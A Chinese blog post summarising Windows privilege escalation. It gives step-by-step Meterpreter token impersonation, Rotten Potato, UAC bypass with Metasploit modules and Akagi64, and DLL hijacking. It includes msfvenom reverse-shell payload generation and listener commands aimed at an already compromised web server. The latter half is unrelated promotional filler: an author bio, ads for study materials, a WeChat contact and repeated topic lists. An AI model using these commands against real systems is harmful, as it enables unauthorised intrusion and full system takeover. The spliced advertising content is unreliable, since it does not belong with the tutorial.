windows权限提升总结，顺利拿到OPPO公司网络安全架构师offer

1. 身份验证：系统通过比对用户密码和安全数据库中的信息来验证用户的身份。
2. 授权：令牌中的权限信息决定了用户可以执行哪些操作，以及能够访问哪些系统资源。
3. 所有权：Windows使用访问令牌来确定正在运行的进程的所有权。这意味着系统可以知道哪个用户启动了特定的进程。

getuid查看当前用户

load incognito加载对应程序

使用impersonate_token “当前计算机用户名”

最后权限提升成功

因为主机的用户本来就是高权限的用户所以提权结果还是原来那个用户，但回显结果是成功了的

烂土豆配合实现权限提升

本地环境有问题，参考这篇文章windows权限提升——烂土豆+dll劫持+引号路径&+服务权限_windows server 限制dll作用权限-CSDN博客

过程： 上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功

1、假设通过漏洞将大马文件传到了目标web网站，并成功访问，如下图所示，成功获取了一个web权限

2、在kali上用以下命令生成一个后门，并上传到目标服务器。

msfvenom -p windows/meterpreter/reverse_tcp lhost= lport= -f exe -o shell.exe

3、kali上 msf 启动监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit

4、假设将 shell.exe 后门通过之前的漏洞传到上传到目标靶机并点击CMD 执行后门程序

5、kali 监听到会话，是web普通权限

6、尝试用烂土豆配合令牌窃取提权，假设通过漏洞将烂土豆上传到目标服务器的C盘

然后执行以下命令，成功提权。

cd C:\
execute -cH -f ./potato.exe
use incognito # 进入incognito
list_tokens -u # 列出令牌
impersonate_token “NT AUTHORITY\SYSTEM” # 令牌假冒 SYSTEM

MSF实现passUAC绕过

如果对方开了uac的话我们在对方的服务器上执行程序可能就会受到限制，为此，我们可以使用一些手段进行绕过uac的检测

用户账户控制 （User Account Control） 是Windows Vista （及更高版本操作系统）通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

查看uac

设置不同的，计算机会对于windows操作设置时进行弹窗提醒

目标主机的UAC权限设置为最低

使用msfvenom选择windows模块设置IP端口生成木马，将木马放到目标主机上，在攻击机上使用msfconsole模块进行监听，在目标主机上执行后门，上线，绕过对方将uac的安全等级放置最低我们可以直接使用getsystem进行提权，就可以获取主机的system权限

就将普通的用户权限升级到了system权限

目标主机将权限设置为较高

使用msfvenom选择windows模块设置IP端口生成木马，将木马放到目标主机上，在攻击机上使用msfconsole模块进行监听，在目标主机上执行后门，上线，但是不能直接使用getsystem进行权限提升，我们需要会用uacbypass模块进行绕过上线

windows7使用bypassuad模块，进行system提权

windows10使用 ask模块配合管理员进行钓鱼实现uac的提权

相对而言条件比较苛刻，不推荐使用

Akagi项目实现passUAC

使用项目Akagi64/Akagi32进行提权

在cmd中执行Akagi64.exe 41 会弹出一个新的命令框，这个命令框的权限就是一个高权限的用户

在实际的运用过程中，我们使用webshell工具目标主机上就可以调用这个程序，然后使用msf进行监听后门就可以获取权限（PS:不同的主机需要使用不同id号码进行提权）

这种提权方式对于目标系统使用了较高的UAC权限较为好用，不用使用msf模块进行钓鱼操作

DLL劫持

因为计算机的一些系统文件我们无法操作查看和修改，为此我们关注的更多的是我们获得权限自身自带的DLL动态链接库

原理：利用msf生成后门dll文件覆盖掉之前的DLL文件，然后利用这个dll进行上线

使用工具进行检测查看哪些dll可以被劫持

如果出现的是test result就证明这个dll文件可以被劫持

如果出现的是no valid dllhjack!

就证明这个dll文件不可以被劫持

找到可以劫持的dll文件之后我们就可以使用msf生成带后门的dll文件

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题

内容实在太多，不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供：

一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！**](https://bbs.csdn.net/forums/4304bb5a486d4c3ab8389e65ecb71ac0)

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算